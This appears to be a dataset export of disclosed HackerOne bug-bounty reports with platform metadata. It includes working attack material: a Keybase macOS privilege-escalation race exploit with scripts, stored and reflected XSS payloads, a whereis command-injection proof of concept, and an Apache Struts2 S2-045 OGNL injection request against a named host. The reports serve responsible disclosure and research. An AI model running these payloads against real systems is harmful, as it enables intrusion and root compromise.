"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/000/002/205/e865d3ffcef54eba49cba80bd59502a347519715_original.jpeg/ede8cd84a64d5392a2bb88ecb598721116469c27c015c2caa77148f11e211d58"
},
"url": "/bobrov",
"username": "bobrov",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "localtapiola",
"id": 8416,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "LocalTapiola’s products and services cover non-life, life and pension insurance, as well as investment and saving services.",
"name": "LocalTapiola",
"twitter_handle": "",
"website": "http://www.lahitapiola.fi"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/008/416/b6fbd7e94497b0ffaee584d2e7096c5d5e2082e2_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/008/416/b6fbd7e94497b0ffaee584d2e7096c5d5e2082e2_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/localtapiola"
} | true | full | 2016-12-08T13:19:18.694Z | {
"id": 67,
"name": "SQL Injection"
} | null | 50 | null |
470,398 | Local privilege escalation bug using Keybase redirector on macOS | 2018-12-20T21:33:40.369Z | resolved | There's a local privilege escalation bug in the latest version of Keybase for
macOS.
The issue is in the process of launching `keybase-redirector`. The process works as follows:
1. Copy `keybase-redirector` binary to a root-only location
2. Check its signature
3. Launch the binary
[Code ref](https://github.com/keybase/client/blob/37b894b8e2a2b6cf023516900ef2ee9c058ca65f/osx/Helper/KBHelper.m#L213-L236).
Note the following:
1. There's a window between point 2. and 3. When the window is opened, the
binary is referenced using just its path.
2. The `keybase-redirector` can be a symlink pointing to an arbitrary location
from the privileged location.
The goal is to replace the real binary with a symlink which will first point to
the real binary (for the signature verification process) and then updated to
point to an evil binary/script for the launch.
The window is tiny and thus reproducing this is a bit tricky. One can do it in
many ways but the most complicated (while being the most fragile one at the
same time!) is as follows:
### 1. Install Keybase including the Finder integration
### 2. Build and install bindfs with the following patch:
```
diff --git a/src/bindfs.c b/src/bindfs.c
index baacb82..b80e396 100644
--- a/src/bindfs.c
+++ b/src/bindfs.c
@@ -1090,6 +1090,7 @@ static int bindfs_open(const char *path, struct fuse_file_info *fi)
static int bindfs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
+ static int counter = 0;
int res;
(void) path;
@@ -1101,6 +1102,9 @@ static int bindfs_read(const char *path, char *buf, size_t size, off_t offset,
if (res == -1)
res = -errno;
+ printf("%i\n", counter++);
+ fflush(stdout);
+
return res;
}
```
### 3. Run `doit.sh`.
It will first create a few symlinks. This will allow the switch between the original binary and the evil one. It will then force a restart of `keybase-redirector` (by uninstalling it and installing it again). Finally, it will start bindfs, watch out for "502" and switch the symlinks.
#### doit.sh
```
#!/bin/sh
test -L /Applications/Keybase.app/Contents/SharedSupport/bin/keybase-redirector || cp /Applications/Keybase.app/Contents/SharedSupport/bin/keybase-redirector ~/exploit/keybase-redirector.orig
mkdir -p ~/switcher
ln -sf ~/switcher/switch /Applications/Keybase.app/Contents/SharedSupport/bin/keybase-redirector
ln -sf ~/switcher/keybase-redirector.orig ~/exploit/switch
(node restart-kbhelper/index.js && ls -l /pwned.txt) &
bindfs -f ~/exploit ~/switcher | while read line
do
[[ $line == "502" ]] && ln -sf ~/switcher/evil.sh ~/switcher/switch
done
```
#### evil.sh
```
#!/bin/sh
touch /pwned.txt
```
The restart is done using the MessagePack RPC using Node.js but you can do it
in another way, it's just we had this laying around. The number 502 is a
count of read requests for the FUSE file system. As you can imagine it's
pretty fragile, but again, we were using bindfs anyway and this worked.
#### restart-kbhelper/index.js
```js
const homedir = require("os").homedir();
const rpc = require("framed-msgpack-rpc");
const socket = `${homedir}/Library/Group Containers/keybase/Library/Caches/Keybase/keybased.sock`;
const x = rpc.createTransport({ path: socket });
function restart() {
x.connect(() => {
const c = new rpc.Client(x, "keybase.1.install");
c.invoke('uninstallKBFS', [{}], () => {
c.invoke('installKBFS', [{}], (err, response) => {
console.log(JSON.stringify(response, 0, 2));
x.close();
});
});
});
}
restart();
```
A similar but better solution would be to simply write a custom read FUSE hook
and return a different file once the original is read in the verification
process. But again, the previous quick & dirty solution worked so why bother.
We recorded a video showing it in action (attached). Note that this was joint
effort by Jan Votava (https://twitter.com/elektronek) and Jiri Pospisil (https://twitter.com/jiripospisil) from https://sensible.io.
## Impact
A local user is able to run an arbitrary binary/script with root privileges leading to a total system compromise. | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "/assets/avatars/default-25f7248a18bdf9e2dc8310319b148d66cff430fa0fade6c5f25fee1b8d7f27ed.png"
},
"url": "/votava",
"username": "votava",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "keybase",
"id": 2809,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "",
"name": "Keybase",
"twitter_handle": "keybaseio",
"website": "https://keybase.io"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/002/809/710eb42880bb34c06cab0d1d5081488ec59aec5e_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/002/809/710eb42880bb34c06cab0d1d5081488ec59aec5e_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "paused",
"url": "https://hackerone.com/keybase"
} | true | full | 2019-01-30T18:15:40.373Z | {
"id": 75,
"name": "Privilege Escalation"
} | null | 23 | null |
245,296 | Persistent XSS on keybase.io via "payload" field in `/user/sigchain_signature.toffee` template | 2017-07-02T09:42:52.752Z | resolved | ## Issue
Keybase allows you to see other users' sigchains by navigating to <https://keybase.io/<username\>/sigchain>. The "Payload" field containing JSON related to the chainlink on the right side of the page is not correctly escaped during templating, leading to a persistent XSS as users have a high degree of control over the contents of that field.
Specifically, the `/user/sigchain_signature.toffee` template's compiled code contains:
```js
// ...
_to(' <textarea wrap="off" class="form-control fixed full-payload autoselect" rows="20" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" readonly>');
_to("" + JSON.stringify(JSON.parse(sig.payload_json), null, 2)); // < `payload_json` is user-controlled and not escaped!
_to("</textarea>\n");
// ...
```
where normally there would be an `escape()` around the data being interpolated in to prevent special characters being interpreted as HTML.
## Proof-of-Concept
* Create a new account on https://keybase.io or remove all keys / associations from an existing account
* Generate a GPG keypair locally and upload the public half via https://keybase.io. Make sure you import these into your GPG keychain.
* When the site asks you to upload the private half, select "maybe another time", then select the option to sign the pubkey with "command line with [bash + GPG + cURL]"
* keybase.io will spit out a few lines of bash to paste into your terminal, copy this to a text editor.
* Replace `"tag":"signature"` section of the JSON payload in the cURL command with `"tag":"</textarea><script>alert(1)</script>"`. There's no particular reason we have to inject into the `tag` field, it was just the first field I saw that wasn't validated and was reflected in the "payload" field on the sigchain page.
You should have something like:
```bash
curl \
--data-urlencode sig="`\
echo '{"body":{"key":{"eldest_kid":"01015d2654042fe3df8427efd4615406c4a57cbb2bbf3c4b1711f53aace9edf037480a","fingerprint":"b54bac1da5887ffba91411894f6b7c0c98dc7571","full_hash":"3ef468ca735aacdc3beee8f8ac1f88c4441a01a583598871721cd390d74fa465","host":"keybase.io","key_id":"4f6b7c0c98dc7571","kid":"01015d2654042fe3df8427efd4615406c4a57cbb2bbf3c4b1711f53aace9edf037480a","uid":"81d7b93a686f9bc7ff566eeb87bc8719","username":"largenotesting"},"type":"eldest","version":1},"ctime":1498970799,"expire_in":157680000,"prev":"d87dd6918ff960578d29d8c9fd47cfdd8256bc46ed288ff7475522574134a1a0","seqno":19,"tag":"</textarea><script>alert(1)</script>"}' | \
gpg -u 'b54bac1da5887ffba91411894f6b7c0c98dc7571' -a --sign`" \
--data-urlencode type="eldest" \
--data-urlencode session="<SESSION KEY>" \
--data-urlencode csrf_token="<CSRF TOKEN>" \
--data-urlencode plain_out="1" \
--data-urlencode signing_kid="01015d2654042fe3df8427efd4615406c4a57cbb2bbf3c4b1711f53aace9edf037480a" \
--data-urlencode public_key="-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2
mQENBFlYeiwBCADMIXo7d47rJpWwBVqr/obUBb0NpTh7cPnhSeoYPaIRVCPOm6ep
HVOveqSheiIAJMVu+7sv70t67TTfszCp5lPCpgoGcotb74Eze7aF5DnoBY/kjGUt
1PwoiMvoTgmoXikWmPd24qb2+2kRRyCSsq93Dd8/Vk1DAcDxzRbvxlLCsFGWfNmr
RmPYB31U8OuPp7n9+FqEAWXVxFl/5AswpfRhekwG1ujlRzv4Ufpnb1PGVTdhwI0j
/+Mk+7gK5MqcbGUT/W2O0M01onWN0Xg8pDBliR2D2ePpI08GxV0BnBYhCWgYI683
RWrgTuSaHNdS3TqwULehYKNSqB3U2OTsdL9ZABEBAAG0KXNvbWV0aGluZyA8YW5v
dGhlcmtleWJhQHNheW5vdG9saW51eC5jb20+iQE3BBMBCAAhBQJZWHosAhsDBQsJ
CAcCBhUICQoLAgQWAgMBAh4BAheAAAoJEE9rfAyY3HVxgLcH/RdkDjwgLwmIiOzh
JY/EzcVApSqMWLEO7JQZCHUgJNq/h7HY6uHd12uEAirP+QRpDIE1h98YSeIxQLAR
iWrmST/tR9PhmeUN1pYJfuPEW8PLDkefrKde+0XhvWoOzTvQNiYFGlCnP9BIiJky
GzC0Tb7Dg8iVe032QjYCbqNyQkWmQ9ztM+j+mPHKTfMC1hzU+lOt4nexWlTSf/z6
4GURt131gIVBuQu7pm61QZP/u+dPdazho1ikmASNHHYkAnJFzMWQ7GDi7Lqns/mB
W7XFEqbT4dOSeEOVkckiPNDcVFgdhPiDTm4VWzQAsYU/Zr3AhcxuBSQT6l11fvWb
EmuWeFa5AQ0EWVh6LAEIAMOJF/a1Tz7Nwa5+FhpbBX0svIzpPCfREdDg0kO0cKWU
81IWZZrDHqmlfxCnqPyB7XfrwFb40gIbBmi6mrZb5COo5pDQ7uE+cWn5cmpVVOqx
kEjX8jEd0SzO5kBFevlVHlGrcO23tm2FuKZBHf69u2U15ivYijceJFnRCCyW0RFQ
Cz9Rz9XBkth6x3SswBZQAT2qAaBnVwQv/YzleBH2cCUSxMkjLE8zjkFL8W+zEVGw
9NyWQHJ/TmaHeAojvRisJ1MyIpRLhFDn8h5PYuvZs8XRK7pen+PznIAtuYYfENCR
7tPqAp4yFkKhOBy7zQB9PUOoaZWxRwUs4HoDIkNSnWcAEQEAAYkBHwQYAQgACQUC
WVh6LAIbDAAKCRBPa3wMmNx1ceKnB/905aQn5eJDo7Dva0AjDjYL6+mSf1eeMElF
UUhqR3/ZVUrla5xX3N1wvnC5YfBAjXY4WpRtDFfNR35EA31kP8biAWs1bgaPybyr
JZqHD7DQS+tccHKQd/ovNg5qFIh8KKv1pMI66n1GtG4C6btz8cbxhUj1WYfBbxdR
egSWT5WEP+lm3+iSGg4C/yPOpvqdx7ORCLvje8v9lQ8XMOPwclvYsZKuydi4anT0
sy7LbithYRusQrkO40qiTgsD6YHGZiN++SscMg04RYgRz/F37hYeWhZqwsnq4mt3
lzONWNX5pQsSbP0dAiJvh8otImITQFUUnfu5z+jJCXdze9/2FV8z
=1hmO
-----END PGP PUBLIC KEY BLOCK-----" \
--data-urlencode is_primary="true" \
--data-urlencode sig_required="true" \
https://keybase.io/_/api/1.0/key/add.json
```
* Run the command, then go to <https://keybase.io/<YOUR_USERNAME\>/sigchain>. You should see an `alert()` box pop.
I can also make a profile that repros this issue if you like, I've cleared my profile since verifying this was an issue.
## Impact
It seems like _most_ sensitive functionality on keybase.io is behind a password re-entry wall, so if the victim didn't have a password manager that would autopopulate password fields on https://keybase.io the attacker would have to dump a fake login prompt into the DOM to be able to do anything "interesting". I suppose an attacker would at least be able to pull down the user's TripleSec-encrypted privkey bundles to perform an offline attack without any special user interaction.
However, the frontend JS references some admin-only API endpoints (viewing crashlogs, billing stuff, etc) that don't seem to require password re-auth. An XSS in the context of an admin user's session would probably allow an attacker to abuse those endpoints.
## Remediation
The "payload" JSON should be escaped in the template like anything else in a text node. More generally, more of web frontend code should be switched to modern HTML templating techniques. There's a number of suspect instances of semi-user-controlled data being passed into HTML sinks like `$.html()`, `$.append()`, `$.prepend()`, etc.
The web frontend would also be a good candidate for CSP with nonces, since it doesn't seem to pull in third-party resources other than statics from S3, and that would have mitigated this XSS in most modern browsers.
Just let me know if you need any more details! Also, hi @chromakode! | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/000/002/447/d7846c3a70ff69fbfa83f43531b3ca68c55545df_original.JPG/cccd3716a6d2e06174d2a41492445cb1d4bf85b4611a755bc810b9246a24d951"
},
"url": "/jordanmilne",
"username": "jordanmilne",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "keybase",
"id": 2809,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "",
"name": "Keybase",
"twitter_handle": "keybaseio",
"website": "https://keybase.io"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/002/809/710eb42880bb34c06cab0d1d5081488ec59aec5e_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/002/809/710eb42880bb34c06cab0d1d5081488ec59aec5e_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "paused",
"url": "https://hackerone.com/keybase"
} | true | full | 2019-03-14T15:15:33.139Z | {
"id": 62,
"name": "Cross-site Scripting (XSS) - Stored"
} | null | 265 | null |
418,145 | No rate limiting in changing room subject. | 2018-10-03T12:23:54.508Z | resolved | Before i shed more light on this: I noticed i can create over 200 apps but i don't really know how valid that was.
I want to report that there is no rate limiting in changing room subject.
Attacker scenrio:
1. Navigate to https://chaturbate.com/b/your username
2. Try to create a room subject and capture the request.
3. Send to intruder and repeater it numerous times.
4. I tried this 144 times and it was succesful
Thanks
Below is a video as a poc
## Impact
bruteforcing. | {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "/assets/avatars/default-25f7248a18bdf9e2dc8310319b148d66cff430fa0fade6c5f25fee1b8d7f27ed.png"
},
"url": "/cunn",
"username": "cunn",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "chaturbate",
"id": 30475,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "The largest online adult cam site",
"name": "Chaturbate",
"twitter_handle": "chaturbate",
"website": "https://chaturbate.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/030/475/178c32f60a890eb06ce5d698d44b3eafa35ccf8c_original.png/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/030/475/178c32f60a890eb06ce5d698d44b3eafa35ccf8c_original.png/d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/chaturbate"
} | true | full | 2018-10-09T03:59:44.566Z | null | null | 18 | {
"asset_identifier": "chaturbate.com",
"asset_type": "URL",
"databaseId": 11722,
"max_severity": "critical"
} |
238,915 | Text injection on status.algolia.com | 2017-06-11T06:55:15.028Z | resolved | Hi Algolia team!
I just found a text injection vulnerabilty in [status.algolia.com/clusters](https://status.algolia.com/clusters/) . Please follow the steps below.
**Vulnerable URL**
[status.algolia.com](https://status.algolia.com/clusters/)
Steps to reproduce:
* Go to [Vulnerable URL](https://status.algolia.com/clusters/)
* Add anything you want after the Vulnerable Url.
**POC**
[LIVE POC](https://status.algolia.com/clusters/For%20more%20info%20go%20to%20www.evil.com)
F193293
Hope you fix it!
Thanks!
Sh3r1
| {
"cleared": false,
"disabled": false,
"hacker_mediation": false,
"hackerone_triager": false,
"is_me?": false,
"profile_picture_urls": {
"small": "https://profile-photos.hackerone-user-content.com/variants/000/111/452/3910a59fc37678124c0b2592126ea98758c2eb43_original.jpg/3c7b305354c9073c106ae3d1701798defaaf5be844fb8fdfa49ca62f991a2c2c"
},
"url": "/sh3r1",
"username": "sh3r1",
"verified": false
} | {
"awards_miles": false,
"default_currency": "usd",
"handle": "algolia",
"id": 443,
"offers_bounties": true,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Hosted search API that delivers instant and relevant results from the first keystroke",
"name": "Algolia",
"twitter_handle": "algolia",
"website": "https://algolia.com"
},
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/algolia"
} | false | full | 2017-08-25T10:17:57.962Z | {
"id": 57,
"name": "Violation of Secure Design Principles"
} | null | 3 | null |
7,898 | Persistent Cross-site scripting vulnerability settings. | 2014-04-17T19:29:03.968Z | resolved | Hello,
I created an account with as group name `"><img src=x onerror=alert(4)>`, after that I went to settings and found a Cross-site scripting vulnerability located at that page.
The url for me : https://app.respond.ly/6sjp/settings/account
I have a proof of concept in the attachment.
best regards
Olivier Beg | {
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"url": "/smiegles",
"username": "smiegles",
"verified": true
} | {
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"handle": "respondly",
"id": 128,
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"profile": {
"about": "Team Inbox for Email & Twitter",
"name": "Respondly",
"twitter_handle": null,
"website": "https://respond.ly"
},
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},
"state": "public_mode",
"submission_state": "disabled",
"url": "https://hackerone.com/respondly"
} | false | full | 2014-04-21T16:31:16.010Z | {
"id": 60,
"name": "Cross-site Scripting (XSS) - Generic"
} | null | 1 | null |
1,106,009 | critical information disclosure | 2021-02-17T22:01:23.421Z | resolved | ##Description:
hey all ,
I have found critical information through this endpoint /██████;
this endpoint contains all env vars used in a www.██████ such as server credentials, db ,mail , twitter client_id and client_secret , facebook client_id and client_secret, etc...
## Impact
full access control on every services on website
## System Host(s)
www.█████████
## Affected Product(s) and Version(s)
## CVE Numbers
## Steps to Reproduce
Go to
https://www.█████████/████████;
you need to put ; to bypass 401 error
## Suggested Mitigation/Remediation Actions
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},
"url": "/ba56adcb299ff13a87475bf",
"username": "ba56adcb299ff13a87475bf",
"verified": false
} | {
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"name": "U.S. Dept Of Defense",
"twitter_handle": "DC3VDP",
"website": "https://bit.ly/3ntULtN"
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"url": "https://hackerone.com/deptofdefense"
} | false | full | 2021-03-11T21:27:08.208Z | {
"id": 18,
"name": "Information Disclosure"
} | null | 19 | null |
157,813 | XSS on Meta Tag at https://m.olx.ph | 2016-08-09T10:04:09.787Z | resolved | Hi,
There is improper validation at q parameter on https://m.olx.ph/ where it can be manipulated by an attacker to include his/her XSS payload to execute javascript code.
As example:
``https://m.olx.ph/all-results?q=0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg" HTTP-EQUIV="refresh" a="a``
Where once opened the above URL, once refreshed, a Javascript popup will appear.
This is because, from the XSS payload used, the Meta tag was properly closed with " character and then it was supplied with a redirect script which already encoded in Base64 format. Where if decoded, it is actually
``<script>alert('test3')</script>``
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},
"url": "/yappare",
"username": "yappare",
"verified": false
} | {
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"default_currency": "usd",
"handle": "olx",
"id": 8146,
"offers_bounties": false,
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"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "OLX is an online classifieds platform that enables its users to create ads and display them on social networks.",
"name": "OLX",
"twitter_handle": "OLX",
"website": "http://olx.com"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/008/146/07ffc7e779ee301e61da60eda7f2bd862a7082ca_original.jpg/f4a495c04fdb224bac8ec64587537e511aa8c4925e7955bee0a19e0ed7d891dc",
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},
"state": "public_mode",
"submission_state": "paused",
"url": "https://hackerone.com/olx"
} | false | full | 2017-01-20T09:25:27.796Z | {
"id": 60,
"name": "Cross-site Scripting (XSS) - Generic"
} | null | 7 | null |
165,309 | Subdomain Takeover in http://genghis-cdn.shopify.io/ pointing to Fastly | 2016-09-02T15:25:15.655Z | resolved | Hi,
I've found a Shopifu cdn domain here which had an instance of fastly setup but did not remove the dns record when the service was cancelled. a subdomain takeover similar to that of https://hackerone.com/reports/32825 could be possible.
Vulnerable URL: http://genghis-cdn.shopify.io
Page Response:
```
Fastly error: unknown domain: genghis-cdn.shopify.io. Please check that this domain has been added to a service.
```
Which indicate that this domain is point to fastly but there is no app in fastly with that name allowing anyone to claim it.
The subdomain "http://genghis-cdn.shopify.io/" is currently pointing to Fastly (shopify-e.map.fastly.net), but is not registered to a service.
```
$ host genghis-cdn.shopify.io
genghis-cdn.shopify.io is an alias for shopify-e.map.fastly.net.
shopify-e.map.fastly.net is an alias for prod.shopify-e.map.fastlylb.net.
prod.shopify-e.map.fastlylb.net has address 151.101.60.108
```
Thanks! | {
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"url": "/peroni",
"username": "peroni",
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"handle": "shopify",
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"profile": {
"about": "Shopify is a multi-channel commerce platform that helps people sell online, in-store, and everywhere in between.",
"name": "Shopify",
"twitter_handle": "",
"website": "https://www.shopify.com"
},
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"medium": "https://profile-photos.hackerone-user-content.com/variants/fjjiC5585s8WoDGHv2M5okbJ/f4a495c04fdb224bac8ec64587537e511aa8c4925e7955bee0a19e0ed7d891dc",
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/shopify"
} | false | full | 2016-09-06T15:46:49.314Z | null | null | 22 | null |
204,568 | stack trace exposed on https://receipts.uber.com/ | 2017-02-08T12:39:39.710Z | informative | {
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},
"url": "/mariogomez1",
"username": "mariogomez1",
"verified": false
} | {
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"handle": "uber",
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"pentest_retesting_ends_at": null,
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"profile": {
"about": "",
"name": "Uber",
"twitter_handle": "",
"website": "https://www.uber.com"
},
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},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/uber"
} | false | no-content | 2021-02-25T22:33:22.941Z | {
"id": 18,
"name": "Information Disclosure"
} | null | 7 | null |
|
319,476 | `whereis` concatenates unsanitized input into exec() command | 2018-02-25T06:53:14.046Z | resolved | I would like to report command injection in `whereis`
It allows to inject arbitrary shell commands by trying to locate crafted filenames.
# Module
**module name:** whereis
**version:** 0.4.0
**npm page:** `https://www.npmjs.com/package/whereis`
## Module Description
> Simply get the first path to a bin on any system.
## Module Stats
Stats
101 downloads in the last day
5 403 downloads in the last week
18 945 downloads in the last month
~227 340 estimated downloads per year [JUST FOR REFERENCE, ~DOWNLOADS PER MONTH*12]
# Vulnerability
## Vulnerability Description
File name argument is not properly escaped before being concatenated into the command that is passed to `exec()`.
See lines https://github.com/vvo/node-whereis/blob/master/index.js#L4-L12
## Steps To Reproduce:
```js
var whereis = require('whereis');
var filename = 'wget; touch /tmp/tada';
whereis(filename, function(err, path) {
console.log(path);
});
```
Observe file `/tmp/tada` created.
## Supporting Material/References:
- Arch Linux Current
- Node.js 9.5.0
- npm 5.6.0
- bash 4.4.012
# Wrap up
- I contacted the maintainer to let him know: N
- I opened an issue in the related repository: N
## Impact
For setups where unsanitized user input could end up in `whereis` argument, users would be able to execute arbitrary shell commands. | {
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"url": "/chalker",
"username": "chalker",
"verified": false
} | {
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"handle": "nodejs-ecosystem",
"id": 23949,
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"pentest_retesting_ends_at": null,
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"profile": {
"about": "This program was used to handle vulnerabilities in the Node.js ecosystem.",
"name": "Node.js third-party modules",
"twitter_handle": "",
"website": "https://nodejs.org/en/security/"
},
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},
"state": "public_mode",
"submission_state": "disabled",
"url": "https://hackerone.com/nodejs-ecosystem"
} | false | full | 2018-03-28T06:17:58.607Z | {
"id": 58,
"name": "Command Injection - Generic"
} | null | 9 | {
"asset_identifier": "whereis",
"asset_type": "SOURCE_CODE",
"databaseId": 7254,
"max_severity": "critical"
} |
145,495 | nextcloud.com: Directory listening for 'wp-includes' forders | 2016-06-17T18:02:13.368Z | resolved | Hello guys,
**_Details:_**
The web server is configured to display the list of files contained in this directory. As a result of a misconfiguration - end user / attacker able to see content of the folders with systemically important files
**_Vulnerable place:_**
/wp-includes directory
when I tried to navigate to this directory via your domain - service responses me 'Access forbidden', but if I will navigate to the same directory via IP address (http://88.198.160.129/) - service will reflects whole entry.
**_PoC:_**
{F100046}
**_Impact:_**
Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.
**_Remediation:_**
- Configure your web server to prevent directory listings for all paths beneath the web root;
- Place into each directory a default file (such as index.htm) that the web server will display
instead of returning a directory listing.
Let me know if you have any question.
Thanks for your attention,
Stas | {
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"url": "/zuh4n",
"username": "zuh4n",
"verified": false
} | {
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"handle": "nextcloud",
"id": 13291,
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"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Access, share and protect your files, calendars, contacts, communication & more at home and in your enterprise.",
"name": "Nextcloud",
"twitter_handle": "nextclouders",
"website": "https://nextcloud.com"
},
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"medium": "https://profile-photos.hackerone-user-content.com/variants/tnqlkt8d6fcch8hj8brdjp8nw864/5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
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"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/nextcloud"
} | false | full | 2016-06-17T18:10:38.465Z | {
"id": 18,
"name": "Information Disclosure"
} | null | 4 | null |
1,070,532 | RCE Apache Struts2 remote command execution (S2-045) on [wifi-partner.mtn.com.gh] | 2021-01-03T11:18:36.101Z | resolved | ## Summary:
A Remote Code Execution vulnerability exists in Apache Struts2 when performing file upload based on Jakarta Multipart parser. It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.
## Steps To Reproduce:
POC
`GET /pwsc/login.do HTTP/1.1
Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(31337*31337)).(#ros.flush())}
Cookie: ROUTEID=.1;JSESSIONID=13E16D2D032451B88B408F0CED57407E.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: wifi-partner.mtn.com.gh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Connection: Keep-alive`
{F1142782}
you can see how I performed the mathematical formula and printed it in the answer
## Impact
rce | {
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"url": "/pisarenko",
"username": "pisarenko",
"verified": false
} | {
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"handle": "mtn_group",
"id": 41919,
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"name": "MTN Group",
"twitter_handle": "",
"website": "https://www.mtn.com/"
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"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/mtn_group"
} | false | full | 2021-09-09T11:34:14.647Z | {
"id": 70,
"name": "Code Injection"
} | null | 26 | {
"asset_identifier": "mtn.com.gh",
"asset_type": "URL",
"databaseId": 34315,
"max_severity": "critical"
} |
1,631,228 | [demo.stripo.email] HTTP request Smuggling | 2022-07-08T10:38:10.702Z | resolved | {
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},
"url": "/deb0con",
"username": "deb0con",
"verified": false
} | {
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"default_currency": "usd",
"handle": "stripo",
"id": 42368,
"offers_bounties": false,
"only_cleared_hackers": false,
"pentest_feature_enabled?": false,
"pentest_retesting_ends_at": null,
"permissions": [],
"profile": {
"about": "Stripo is a lightweight and intuitive email template editor that lets users build professional looking and highly responsive email templates.",
"name": "Stripo Inc",
"twitter_handle": "",
"website": "https://stripo.email"
},
"profile_picture_urls": {
"medium": "https://profile-photos.hackerone-user-content.com/variants/000/042/368/5b1017d17427be6c8e05cbc95da27646bf45e925_original./5136ed9b2fa7c4d4abbf39fb971047c62d98ec4740a88eb55d7e26373250a937",
"small": "https://profile-photos.hackerone-user-content.com/variants/000/042/368/5b1017d17427be6c8e05cbc95da27646bf45e925_original./d3dc6b2d7e2dc3657e8861b0d7e2dfca1a6d513dd784c613f4e56738907cea98"
},
"state": "public_mode",
"submission_state": "open",
"url": "https://hackerone.com/stripo"
} | false | no-content | 2024-02-15T10:43:59.487Z | {
"id": 86,
"name": "HTTP Request Smuggling"
} | null | 13 | {
"asset_identifier": "stripo.email",
"asset_type": "URL",
"databaseId": 38701,
"max_severity": "medium"
} |
End of preview.
HackerOne Disclosed Reports Dataset
Dataset Card for HackerOne Disclosed Reports
Dataset Summary
This dataset contains all disclosed reports from HackerOne, a leading vulnerability coordination and bug bounty platform. Each report includes comprehensive details about discovered security vulnerabilities, such as descriptions, steps to reproduce, and remediation actions.
Supported Tasks and Leaderboards
This dataset can be used for the following tasks:
- Security Research: Analyze trends and patterns in disclosed vulnerabilities.
- Tool Development: Create and test security tools and automation scripts.
